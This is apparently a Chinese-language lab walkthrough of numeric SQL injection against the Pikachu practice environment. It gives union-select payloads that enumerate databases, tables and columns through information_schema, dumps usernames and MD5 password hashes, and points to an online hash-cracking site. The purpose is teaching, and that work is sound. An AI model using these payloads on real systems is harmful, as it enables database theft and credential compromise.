如何处理数字型注入
在pikachu中是通过单选下拉进行选择提交,可以通过html中下拉选择的节点,进行注入。
1、找到下拉框所对应的元素节点,找到value,查看是否具有注入点
测试是否具有注入点:1、输入 and 1=1,查看结果 。 2、输入 and 1=2,查看两次结果是否相同,如果结果不同则说明存在注入点。
两次结果不同,说明存在注入点。
2、查询字段数
与上面同样的方法,改变value的值,输入 order by +个数,进行试验,也可以输入 union select 1,2...这种方式试验,这里我用的是order by 的方式。
从1开始实验,不管是order by1 还是2 都是有结果的,当我们输入order by 3时,就有了报错信息
说明字段数为2,知道字段数是我们渗透必不可少的一步,因为联合查询必须要求前后的列数必须相同,接下来进行联合查询。
3、获取数据库、字段、用户信息等。
union select database(),user()
database()是获取当前数据库名,user()是获取当前的用户
在我们创建数据库后,每个数据库系统中都有一个相同的库(information_schema),里面存在了许多对于我们渗透有用的表,如:SCHEMATA(有我们所有的数据库名)、TABLES(所有的表名)、COLUMNS(所有的列名),我们将会利用这些表中的数据一步步进行渗透。
- 找到所有的数据库(虽然前面我们已经知道了当前数据库,这个是为了能够渗透到其他的数据库)
用union联合查询时一定要注意前后的列数相同,在前面我们知道了字段数为2,那么我们后面的列数也要为2,下面代码中的第一个数字1代表了一列,括号中的select语句整体代表一列。
union select 1,(select group_concat(schema_name) from information_schema.schemata )
group_concat()是将所有的数据库名连成一行显示;如果不用group_concat()函数,只能一行一行显示,在select语句最后要加上limit 0,1(从第一行开始取一行也就是第一行)...依次改变,前面的数字,limit1,1代表了取第二行。
和之前的方法一样,改变value,选择下拉选项1,点击查询,即可以得出所有的数据库名。
- 找到该数据库的所有表
通过上面得到的数据库名,选择数据库;利用TABLES表;
union select table_name,table_schema from information_schema.tables where table_schema='pikachu'
得到所有的表名.
- 得到表中所有的列
根据上个结果的所有表名信息,再使用COLUMNS表,得到users表中的所有列.
union select column_name,table_name from information_schema.columns where table_schema='pikachu' and table_name='users' #
得到users表中的所有列.
- 利用已知的信息,进行拖库
在前面的几步中,我们已经得到了表名以及列名,利用这些已知条件进行拖库.
union select username,password from users #
可得到用户的信息,用户名以及密码,这里的密码是用了MD5加密,我们在进行解密时,可以在网上找一个可以MD5解密的网站就行,这里推荐大家一个好用的网站:md5在线解密破解,md5解密加密创立18年的md5解密网站,支持md5解密,sha1解密等多种类型实时解密和破解。数据库大,使用3PB硬盘仓库。成功率高,如果本站解密不了,那就没有办法了。https://www.cmd5.com/
密码分别是: 123456 000000 abc123
感谢大家的观看,记得点个小赞赞~